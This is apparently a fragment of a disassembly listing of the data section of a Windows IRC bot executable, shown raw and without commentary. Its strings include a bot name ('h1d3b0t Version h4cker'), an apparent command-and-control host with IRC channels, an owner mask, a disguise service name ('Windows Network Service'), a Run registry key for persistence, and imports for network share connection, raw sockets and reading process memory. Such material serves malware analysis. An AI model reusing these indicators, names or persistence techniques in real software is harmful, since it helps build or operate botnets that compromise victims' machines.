4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh aCyber db 'CYBER',0 ; DATA XREF: sub_401B66+3439o ; sub_401B66+351Co ... align 4 aCyber_0 db 'CYBER',0 ; DATA XREF: sub_401B66+3840o ; sub_401B66+387Co ... align 10h aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D082+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 10h dbl_428690 dq 1.388888888888889e-2 ; DATA XREF: sub_40CE97+2Fr dbl_428698 dq 1.666666666666667e-1 ; DATA XREF: sub_40CE97+15r dbl_4286A0 dq 1.333333333333333 ; DATA XREF: sub_40CEE3+7Ar dword_4286A8 dd 0 ; sub_40D3C2+57o ... flt_4286AC dd 5.0e-1 ; DATA XREF: sub_40D86F+3A5r dbl_4286B0 dq 9.765625e-4 ; DATA XREF: sub_416975+2B8r ; sub_416975+2CDr ... dbl_4286B8 dq -1.52587890625e-4 ; DATA XREF: sub_41802F+3D3r dbl_4286C0 dq 3.0517578125e-4 ; DATA XREF: sub_41802F+3B4r dbl_4286C8 dq -3.0517578125e-4 ; DATA XREF: sub_41802F+332r ; sub_41802F+396r dbl_4286D0 dq 1.52587890625e-4 ; DATA XREF: sub_41802F+26Dr dbl_4286D8 dq -1.739501953125e-3 ; DATA XREF: sub_41802F+248r ; sub_41802F+2D1r ... dbl_4286E0 dq 3.11279296875e-3 ; DATA XREF: sub_41802F+E1r dbl_4286E8 dq 3.0517578125e-5 ; DATA XREF: sub_41802F+AEr ; sub_41802F+137r ... dbl_4286F0 dq 6.103515625e-5 ; DATA XREF: sub_41802F+93r ; sub_41802F+2FDr dbl_4286F8 dq 2.288818359375e-3 ; DATA XREF: sub_41802F+21r dbl_428700 dq -3.0517578125e-5 ; DATA XREF: sub_418E56+2Br flt_428708 dd 9.765625e-4 ; DATA XREF: sub_41ACA2+1B0r flt_42870C dd 8.0 ; DATA XREF: sub_41ACA2+1AAr flt_428710 dd 0.0 ; DATA XREF: sub_41ACA2+16Fr flt_428714 dd 1.0e-3 ; DATA XREF: sub_41ACA2+166r dbl_428718 dq 1.0 ; DATA XREF: sub_41CE49+6Cr ; sub_41CF8F+6Cr ... dword_428720 dd 0FFFFFFFFh, 41E20Ah, 41E21Eha__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_41E48A+8Eo align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_41E48A+4Fo align 4 byte_42875C db 6 ; DATA XREF: sub_41FE9F:loc_41FEF6r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: .packed:off_43F204o unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: .packed:off_43F200o align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aLog db 'log',0 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: .packed:off_43F47Co align 8 dbl_428888 dq 0.0 ; DATA XREF: sub_421B5F+8Cr ; sub_421B5F+ACr ... dbl_428890 dq 4.195835e6 ; DATA XREF: sub_422074+Fr dbl_428898 dq 3.145727e6 ; DATA XREF: sub_422074+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4220B2+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_4220B2o align 4 aE000 db 'e+000',0 ; DATA XREF: sub_4221D9+93o align 10h dword_4288D0 dd 0FFFFFFFFh, 4228C4h, 4228CEh, 0dword_4288E0 dd 0FFFFFFFFh, 0 dd offset loc_422A4A align 10h dd offset sub_422A28 dd offset sub_422A32 dword_4288F8 dd 0FFFFFFFFh, 422C7Ah, 422C7Eh, 0dword_428908 dd 0FFFFFFFFh, 422CDCh, 422CE5h, 0dword_428918 dd 0FFFFFFFFh, 0 dd offset loc_422DAD align 8 dd offset loc_422D99 dd offset loc_422D9D dword_428930 dd 0FFFFFFFFh, 0 dd offset loc_422E03 align 10h dd offset loc_422DEF dd offset loc_422DF3 dword_428948 dd 2 dup(0) ; sub_424517+39o ... dword_428950 dd 0FFFFFFFFh, 423493h, 423497h, 0FFFFFFFFh, 423547h, 42354Bh ; DATA XREF: sub_423383+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 10h aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 10h aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 10h aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 10h aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 10h aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .packed:off_43F8CCo db '- floating point not loaded',0Dh,0Ah,0 align 10h aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_423EAD+119o align 4 asc_428C18 db 0Ah ; DATA XREF: sub_423EAD+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_423EAD+D3o db 0Ah db 'Program: ',0 align 4 a___ db '...',0 ; DATA XREF: sub_423EAD+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_423EAD+7Do align 8 dword_428C58 dd 0FFFFFFFFh, 424610h, 424614haSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_42501C+Ao align 4 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_4256B1+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_4256B1+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_4256B1+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_425EF2:loc_425FE7o align 10h a1Inf db '1#INF',0 ; DATA XREF: sub_425EF2+D8o align 4 a1Ind db '1#IND',0 ; DATA XREF: sub_425EF2+C7o align 10h a1Snan db '1#SNAN',0 ; DATA XREF: sub_425EF2+ADo align 4 dword_428CF8 dd 0FFFFFFFFh, 4268EAh, 4268EEh, 0FFFFFFFFh, 426959h, 42695Dh ; DATA XREF: sub_426733+5o dd 428E50h off_428D14 dd offset loc_426E98 ; DATA XREF: sub_426CA0+4Do ; sub_426EB4+Co dd offset sub_426D5E dd offset sub_426E7B aStringTooLong db 'string too long',0 ; DATA XREF: sub_426CA0+1Eo dd offset dword_428E88 off_428D34 dd offset loc_426DC5 ; DATA XREF: sub_426CFA+4Eo ; sub_426D88+11o ... dd offset sub_426D5E dd offset sub_426D6B dword_428D40 dd 0FFFFFFFFh ; sub_426DE1+34r dd offset dword_428ED8 off_428D48 dd offset loc_426F80 ; DATA XREF: sub_426ECC+4Do ; sub_426F9C+Co dd offset sub_426D5E dd offset sub_426F63 aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426ECC+1Eo dd offset dword_428F08 off_428D70 dd offset sub_427082 ; DATA XREF: sub_42709E+8o ; sub_4270DB+8o ... dd offset sub_42713B aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_42713B+7o align 4 dd offset dword_428F50 off_428D90 dd offset loc_42715D ; DATA XREF: sub_427148o ; .packed:off_43FD78o ... align 8 dword_428D98 dd 0E06D7363h, 1, 2 dup(0) dd 3, 19930520h, 2 dup(0) dword_428DB8 dd 0FFFFFFFFh, 42732Ah, 42732Eh, 0FFFFFFFFh, 4273A7h, 4273ABh ; DATA XREF: sub_427228+5o dword_428DD0 dd 0FFFFFFFFh, 42759Fh, 4275A3h, 0FFFFFFFFh, 4275FCh, 427600h ; DATA XREF: sub_4274B3+5o dd 43FD78h, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_428E00 dd offset off_43FD90 ; DATA XREF: .packed:00428E34o ; .packed:00428E68o ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) off_428E18 dd offset off_43FDB0 ; DATA XREF: .packed:00428E30o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_428E18 dd offset off_428E00 dd offset dword_428DD0+18h dword_428E3C dd 3 dup(0) dd 3, 428E30h, 3 dup(0) dd offset off_43FDB0 dd offset dword_428E3C+4 dd 0 dd offset off_428E00 dd offset dword_428DD0+18h dword_428E70 dd 4 dup(0) dd 2, 428E68h dword_428E88 dd 3 dup(0) dd offset off_43FD90 dd offset dword_428E70+8 align 10h off_428EA0 dd offset off_43FDD0 ; DATA XREF: .packed:00428EB8o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_428EA0 dd offset off_428E00 dd offset dword_428DD0+18h dd 0 db 0 ; DATA XREF: .packed:00428EE8o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 428EB8h dword_428ED8 dd 3 dup(0) dd offset off_43FDD0 dd offset unk_428EC8 dd offset dword_428DD0+18h dword_428EF0 dd 4 dup(0) dd 1, 428EECh dword_428F08 dd 3 dup(0) dd offset off_43FD78 dd offset dword_428EF0+8 align 10h off_428F20 dd offset off_43FDF0 ; DATA XREF: .packed:00428F38o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_428F20 dword_428F3C dd 3 dup(0) dd 1, 428F38h dword_428F50 dd 3 dup(0) dd offset off_43FDF0 dd offset dword_428F3C+4 align 8 dd 0FFFFFFFFh, 427680h, 0 dd offset sub_427678 dword_428F78 dd 19930520h, 2, 428F68h, 4 dup(0) dd 0FFFFFFFFh, 4276A4h, 0 dd offset loc_4276AC dword_428FA4 dd 19930520h, 2, 428F94h, 4 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 4 dup(0) dd offset loc_40D628 dd 2 dup(0) dd 2 dup(1), 428FD0h dword_428FF4 dd 19930520h, 2, 428FC0h, 1, 428FE0h, 3 dup(0) ; DATA XREF: .packed:loc_4276C0o dd offset off_43FD78 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 4270DBh, 2 dup(0) dd offset off_43FD90 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 426DE1h, 2 dup(0) dd offset off_43FDB0 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 426EB4h, 0 dword_429070 dd 3, 429050h, 429030h, 429010hdword_429080 dd 0 ; sub_426E7B+12o dd offset sub_426E3E dd 0 dd offset dword_429070 dword_429090 dd 19930520h, 1, 4290B0h, 5 dup(0) dd 0FFFFFFFFh, 4276CCh dword_4290B8 dd 19930520h, 1, 4290D8h, 5 dup(0)dword_4290D8 dd 0FFFFFFFFh, 4276E0h, 2, 429030h, 429010h, 0 ; DATA XREF: .packed:004290FCo dword_4290F0 dd 0 dd offset sub_426D88 dd 0 dd offset dword_4290D8+8 dword_429100 dd 19930520h, 1, 429120h, 5 dup(0) dd 0FFFFFFFFh, 4276F4h dword_429128 dd 19930520h, 1, 429148h, 5 dup(0) dd 0FFFFFFFFh, 427708h dword_429150 dd 19930520h, 1, 429170h, 5 dup(0) dd 0FFFFFFFFh, 42771Ch, 0 dd offset off_43FDD0 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 426F9Ch, 0 dword_429198 dd 3, 429178h, 429030h, 429010hdword_4291A8 dd 0 ; sub_426F63+12o dd offset sub_426F26 dd 0 dd offset dword_429198 dword_4291B8 dd 19930520h, 1, 4291D8h, 5 dup(0) dd 0FFFFFFFFh, 427730h dword_4291E0 dd 19930520h, 1, 429200h, 5 dup(0) dd 0FFFFFFFFh, 427744h, 29434h, 2 dup(0) dd 294AAh, 281DCh, 2943Ch, 2 dup(0) dd 294C0h, 281E4h, 29258h, 2 dup(0) dd 29D40h, 28000h, 5 dup(0) dd 7C8137D9h, 7C833478h, 7C80A35Eh, 7C80D077h, 7C832044h dd 7C80BCCFh, 7C809E01h, 7C84467Dh, 7C80A490h, 7C838A0Ch dd 7C812641h, 7C81DC03h, 7C810E51h, 7C812F39h, 7C80CC97h dd 7C812F08h, 7C81CF5Bh, 7C814AE7h, 7C81DF77h, 7C862E2Ah dd 7C80CCA8h, 7C838DE8h, 7C9109EDh, 7C812A09h, 7C8127A7h dd 7C802442h, 7C81CDDAh, 7C809B47h, 7C802367h, 7C80B4CFh dd 7C814EEAh, 7C810637h, 7C831EABh, 7C8309E1h, 7C809920h dd 7C910331h, 7C8286EEh, 7C812782h, 7C81153Ch, 7C80B6A1h dd 7C802520h, 7C80E93Fh, 7C80929Ch, 7C81CE03h, 7C835DCAh dd 7C835E8Fh, 7C801D77h, 7C80ADA0h, 7C8216A4h, 7C80D262h dd 7C812ADEh, 7C80C058h, 7C9010EDh, 7C901005h, 7C80B829h dd 7C91188Ah, 7C810D87h, 7C8308ADh, 7C80180Eh, 7C801A24h dd 7C8312E5h, 7C801E16h, 7C80DDFEh, 7C80DDF5h, 7C81E0C7h dd 7C83632Dh, 7C8361EEh, 7C810A77h, 7C80EDD7h, 7C80E7ECh dd 7C80E866h, 7C834EB1h, 7C810B8Eh, 7C81B58Bh, 7C80A05Dh dd 7C873A31h, 7C80A7D4h, 7C80A427h, 7C82FA46h, 7C80ABDEh dd 7C80F0F4h, 7C91043Dh, 7C9105D4h, 7C80ABC1h, 7C80B9A0h dd 7C8021CCh, 7C812D56h, 7C82F7A0h, 7C80FE82h, 7C80FF19h dd 7C80B974h, 7C80B905h, 7C80945Ch, 7C831CB8h, 7C831C45h dd 7C8329D9h, 7C80A0D4h, 7C809BF8h, 7C80BAA1h, 7C81AE17h dd 7C85F90Fh, 7C830B14h, 7C8310F2h, 7C9179FDh, 7C937A40h dd 7C8350BFh, 7C80176Bh, 7C801EEEh, 7C812F1Dh, 7C8111DAh dd 7C814AF2h, 7C810EF8h, 7C812BB6h, 7C809AE4h, 7C809A51h dd 7C809E79h, 7C812E76h, 7C809915h, 0 dd 71B2517Fh, 0 dd 71AB46C9h, 71AB2B66h, 71AB3F41h, 71AB4428h, 71AB664Dh dd 71AB4519h, 71AB3E00h, 71AB88D3h, 71AC1028h, 71AB8769h dd 71AB2B66h, 71AB406Ah, 71AB3EA1h, 71AB615Ah, 71AB9639h dd 71AB3B91h, 71AB428Ah, 71AB2DC0h, 71AB4544h, 71AB951Eh dd 71AB2BF4h, 0 db 6 align 2 aWnetaddconne_1 db 'WNetAddConnection2A',0 aMpr_dll_0 db 'MPR.dll',0 aA_1 db 'A',0 aWsasocketa_0 db 'WSASocketA',0 align 10h aWs2_32_dll_0 db 'WS2_32.dll',0 align 4 dd 6C530349h, 706565h, 784500AFh, 72507469h, 7365636Fh dd 2E0073h, 736F6C43h, 6E614865h, 656C64h, 72430060h, 65746165h dd 636F7250h, 41737365h, 1750000h aGetmodulefilen db 'GetModuleFileNameA',0 align 4 db 0B9h ; ¹ db 1, 47h, 65h aTsystemdirecto db 'tSystemDirectoryA',0 aI_1 db 'i',0 aCreatethread db 'CreateThread',0 align 2 db '|',0 aDeletefilea db 'DeleteFileA',0 dd 704F027Ch, 72506E65h, 7365636Fh, 13B0073h aGetcurrentproc db 'GetCurrentProcessId',0 db 69h ; i db 1, 47h, 65h aTlasterror db 'tLastError',0 align 10h db '=',0 aCopyfilea db 'CopyFileA',0 db 0Eh db 3, 53h, 65h aTfileattribute db 'tFileAttributesA',0 align 2 dw 156h aGetfileattribu db 'GetFileAttributesA',0 align 4 db 77h ; w db 1, 47h, 65h aTmodulehandlea db 'tModuleHandleA',0 align 4 db 85h ; … db 3, 57h, 61h aItforsingleobj db 'itForSingleObject',0 aZ db 'Z',0 aCreatemutexa db 'CreateMutexA',0 align 2 dw 1D5h aGettickcount db 'GetTickCount',0 align 2 dw 352h aTerminatethrea db 'TerminateThread',0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 1, 47h, 65h aTtemppatha db 'tTempPathA',0 align 4 dd 6F4D0264h, 69466576h, 41656Ch, 6F4C0248h, 694C6461h dd 72617262h, 4179h, 65470198h, 6F725074h, 64644163h, 73736572h dd 10C0000h, 43746547h, 75706D6Fh, 4E726574h, 41656D61h dd 16C0000h, 4C746547h, 6C61636Fh, 666E4965h, 416Fh, 654701DFh dd 72655674h, 6E6F6973h, 417845h, 784500B0h, 68547469h dd 64616572h, 2470000h aLeavecriticals db 'LeaveCriticalSection',0 align 2 aP_0 db '',0 aEntercriticals db 'EnterCriticalSection',0 align 2 dw 21Ah aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0 aZ_0 db 'z',0 aDeletecritical db 'DeleteCriticalSection',0 dw 397h aWritefile db 'WriteFile',0 aI_2 db 'I',0 aCreateeventa db 'CreateEventA',0 align 2 dw 2ABh aReadfile_0 db 'ReadFile',0 align 2 aM_0 db 'M',0 aCreatefilea db 'CreateFileA',0 db 5Bh ; [ db 3, 54h, 72h aAnsactnamedpip db 'ansactNamedPipe',0 dd 65540351h, 6E696D72h, 50657461h, 65636F72h, 7373h, 7544008Ch dd 63696C70h, 48657461h, 6C646E61h, 13A0065h aGetcurrentpr_0 db 'GetCurrentProcess',0 a__1 db '_',0 aCreatepipe db 'CreatePipe',0 align 4 dd 654701D6h, 6D695474h, 726F4665h, 4174616Dh, 13F0000h dd 44746547h, 46657461h, 616D726Fh, 4174h, 6547015Bh, 6C694674h dd 7A695365h, 0C50065h, 646E6946h, 736F6C43h, 0BC0065h aFiletimetosyst db 'FileTimeToSystemTime',0 align 2 db '»',0 aFiletimetoloca db 'FileTimeToLocalFileTime',0 db 'Ó',0 aFindnextfilea db 'FindNextFileA',0 db 'É',0 aFindfirstfilea db 'FindFirstFileA',0 align 2 dw 310h aSetfilepointer db 'SetFilePointer',0 align 4 db 0E3h ; ã db 2, 53h, 65h aTconsolectrlha db 'tConsoleCtrlHandler',0 db 83h ; ƒ db 3, 57h, 61h aItformultipleo db 'itForMultipleObjects',0 align 2 dw 0F4h aGenerateconsol db 'GenerateConsoleCtrlEvent',0 align 2 dw 16Bh aGetlocaltime db 'GetLocalTime',0 align 2 dw 299h aQueryperform_1 db 'QueryPerformanceCounter',0 db 9Ah ; š db 2, 51h, 75h aEryperformance db 'eryPerformanceFrequency',0 aQ_0 db 'ï',0 aFreelibrary db 'FreeLibrary',0 dw 151h aGetenvironment db 'GetEnvironmentVariableW',0 db 0Ch db 2, 48h, 65h aApfree db 'apFree',0 align 4 db 6 db 2, 48h, 65h aApalloc db 'apAlloc',0 db 9Bh ; › db 1, 47h, 65h aTprocessheap db 'tProcessHeap',0 align 2 dw 37Eh aVirtualqueryex db 'VirtualQueryEx',0 align 4 db 0AEh ; ® db 2, 52h, 65h aAdprocessmemor db 'adProcessMemory',0 dd 654701BBh, 73795374h, 496D6574h, 6F666Eh, 6F4600EAh dd 74616D72h, 7373654Dh, 41656761h, 2000000h, 626F6C47h dd 6E556C61h, 6B636F6Ch, 1F90000h, 626F6C47h, 6F4C6C61h dd 6B63h, 6E550365h, 5670616Dh, 4F776569h, 6C694666h, 25E0065h dd 5670614Dh, 4F776569h, 6C694666h, 4E0065h aCreatefilemapp db 'CreateFileMappingA',0 align 10h db 14h db 3, 53h, 65h aTfiletime db 'tFileTime',0 dw 15Dh aGetfiletime db 'GetFileTime',0 db '²',0 aExpandenvironm db 'ExpandEnvironmentStringsA',0 db 89h ; ‰ db 3, 57h, 69h aDechartomultib db 'deCharToMultiByte',0 dw 26Bh aMultibytetowid db 'MultiByteToWideChar',0 db 0B6h ; ¶ db 3, 6Ch, 73h aTrcmpia db 'trcmpiA',0 db 52h ; R db 1, 47h, 65h aTexitcodeproce db 'tExitCodeProcess',0 align 2 dw 287h aPeeknamedpipe db 'PeekNamedPipe',0 dw 170h aGetlogicaldr_0 db 'GetLogicalDrives',0 align 2 dw 1FAh aGlobalmemoryst db 'GlobalMemoryStatus',0 align 10h dd 65480210h, 65527061h, 6F6C6C41h, 2CC0063h, 556C7452h dd 6E69776Eh, 1D80064h aGettimezoneinf db 'GetTimeZoneInformation',0 align 4 dd 654701BEh, 73795374h, 546D6574h, 656D69h, 654701AFh dd 61745374h, 70757472h, 6F666E49h, 1080041h, 43746547h dd 616D6D6Fh, 694C646Eh, 41656Eh, 654701DEh, 72655674h dd 6E6F6973h, 1500000h aGetenvironme_0 db 'GetEnvironmentVariableA',0 dd 6548020Ah, 65447061h, 6F727473h, 2080079h, 70616548h dd 61657243h, 6574h, 69560378h, 61757472h, 6572466Ch, 3750065h dd 74726956h, 416C6175h, 636F6C6Ch, 22C0000h, 61427349h dd 69725764h, 74506574h, 0FC0072h, 43746547h, 666E4950h dd 0F5006Fh, 41746547h, 5043h, 6547018Bh, 4D454F74h, 5043h dd 6152029Dh, 45657369h, 70656378h, 6E6F6974h, 2120000h dd 70616548h, 657A6953h, 23A0000h, 614D434Ch, 72745370h dd 41676E69h, 23B0000h, 614D434Ch, 72745370h, 57676E69h dd 3620000h aUnhandledexcep db 'UnhandledExceptionFilter',0 align 2 aA_2 db 'í',0 aFreeenvironmen db 'FreeEnvironmentStringsA',0 aU_0 db 'î',0 aFreeenvironm_0 db 'FreeEnvironmentStringsW',0 dw 14Dh aGetenvironme_1 db 'GetEnvironmentStrings',0 dw 14Fh aGetenvironme_2 db 'GetEnvironmentStringsW',0 align 4 db 19h db 3, 53h, 65h aThandlecount db 'tHandleCount',0 align 2 dw 1B1h aGetstdhandle db 'GetStdHandle',0 align 2 dw 15Eh aGetfiletype db 'GetFileType',0 db 2Ch ; , db 3, 53h, 65h aTstdhandle db 'tStdHandle',0 align 4 db 'å',0 aFlushfilebuffe db 'FlushFileBuffers',0 align 10h db 0B2h ; ² db 1, 47h, 65h aTstringtypea db 'tStringTypeA',0 align 2 dw 1B5h aGetstringtypew db 'GetStringTypeW',0 align 4 db 3Dh ; = db 3, 53h, 65h aTunhandledexce db 'tUnhandledExceptionFilter',0 dw 229h aIsbadreadptr db 'IsBadReadPtr',0 align 2 dw 226h aIsbadcodeptr db 'IsBadCodePtr',0 align 2 dw 305h aSetendoffile db 'SetEndOfFile',0 align 2 a4 db '4',0 aComparestringa db 'CompareStringA',0 align 4 a5 db '5',0 aComparestringw db 'CompareStringW',0 align 2 dw 308h aSetenvironment db 'SetEnvironmentVariableA',0 aKernel32_dll db 'KERNEL32.dll',0 align 10h dd 0ACh dup(0) dword_42A000 dd 0 dd offset loc_40121A dd offset sub_401236 dd offset sub_40D6D6 dd offset sub_40D76E dd offset sub_40EF81 dd offset sub_426FB4 dword_42A01C dd 0 dword_42A020 dd 0 dd offset sub_41D822 dd offset sub_420A6D dd offset sub_422F2B dd offset sub_424F82 dword_42A034 dd 0 dword_42A038 dd 0 dd offset sub_422FD0 dword_42A040 dd 0 dword_42A044 dd 0 dd offset sub_424F93 dword_42A04C dd 0 dword_42A050 dd 78h dword_42A054 dd 80000002h off_42A058 dd offset aSoftwareMicr_0 ; DATA XREF: sub_401000+1Er ; "Software\\Microsoft\\Windows\\CurrentVersi"... dd 80000001h, 42A1B4h, 80000001h, 42A184h dword_42A06C dd 6272h ; sub_40F8BC+24o ... dword_42A070 dd 1B58h ; sub_401252+5ACr dword_42A074 dd 1A0Bh dword_42A078 dd 7E4h dword_42A07C dd 45h ; sub_40B945+3Br dword_42A080 dd 201h word_42A084 dw 7C7h ; DATA XREF: sub_401B66:loc_404791r align 4 dword_42A088 dd 1 dword_42A08C dd 1 ; sub_418A34+Cr byte_42A090 db 2Eh ; DATA XREF: sub_401B66+9F7r ; sub_401B66+AB1r ... align 4 dword_42A094 dd 0Dh ; sub_40ABBD+5Fr ... dword_42A098 dd 1 ; sub_401B66+26Er ... aH43yh4ckernt db 'h43yh4ckerNT',0 ; DATA XREF: sub_401252+5Do ; sub_401B66:loc_4044B5o ... align 4 aH1d3b0tVersion db 'h1d3b0t Version h4cker',0 ; DATA XREF: sub_401B66:loc_404996o align 4 aH4cker db 'h4cker',0 ; DATA XREF: sub_401B66+7C5Do ; sub_401B66+7D20o align 4 aNeta_leetz_inf db 'neta.leetz.info',0 ; DATA XREF: sub_401252+4E5o ; sub_401252+59Do aGxxx db '#Gxxx',0 ; DATA XREF: sub_401252+505o ; sub_401252+5B3o ... align 4 a_gxxx_ db '.Gxxx.',0 ; DATA XREF: sub_401252+51Co ; sub_401252+5C5o align 4 byte_42A0EC db 6Eh ; DATA XREF: sub_401252:loc_40182Dr ; sub_401252+5E9o db 65h, 74h, 61h dd 65656C2Eh, 692E7A74h, 6F666Eh dword_42A0FC dd 78784723h, 78hdword_42A104 dd 7878472Eh, 2E78hbyte_42A10C db 52h ; DATA XREF: sub_401252+143o ; sub_401252+167w ... db 65h, 61h, 6Ch dd 736B6574h, 6578652Eh, 0 dword_42A11C dd 6E6E6977h, 61736B74h, 61622E7Ah, 74haWindowsNetwork db 'Windows Network Service',0 ; DATA XREF: sub_401000+Bo aNt_0 db 'NT',0 ; DATA XREF: .packed:0040AC3Bo align 4 aWinsysz_dat db 'winsysz.dat',0 aI_3 db '+i',0 ; DATA XREF: sub_401B66+7DA0o align 4 aGxxx_0 db '#Gxxx',0 ; DATA XREF: sub_401B66+1C6Bo ; sub_401B66+3015o ... align 10h aGxxx_1 db '#Gxxx',0 ; DATA XREF: sub_401B66+4366o align 4 aGxxx_2 db '#Gxxx',0 ; DATA XREF: sub_401B66+4065o ; sub_401B66+41B3o align 10h off_42A170 dd offset a@h4cker ; DATA XREF: sub_401B66+7CC0r ; "*@h4cker" off_42A174 dd offset 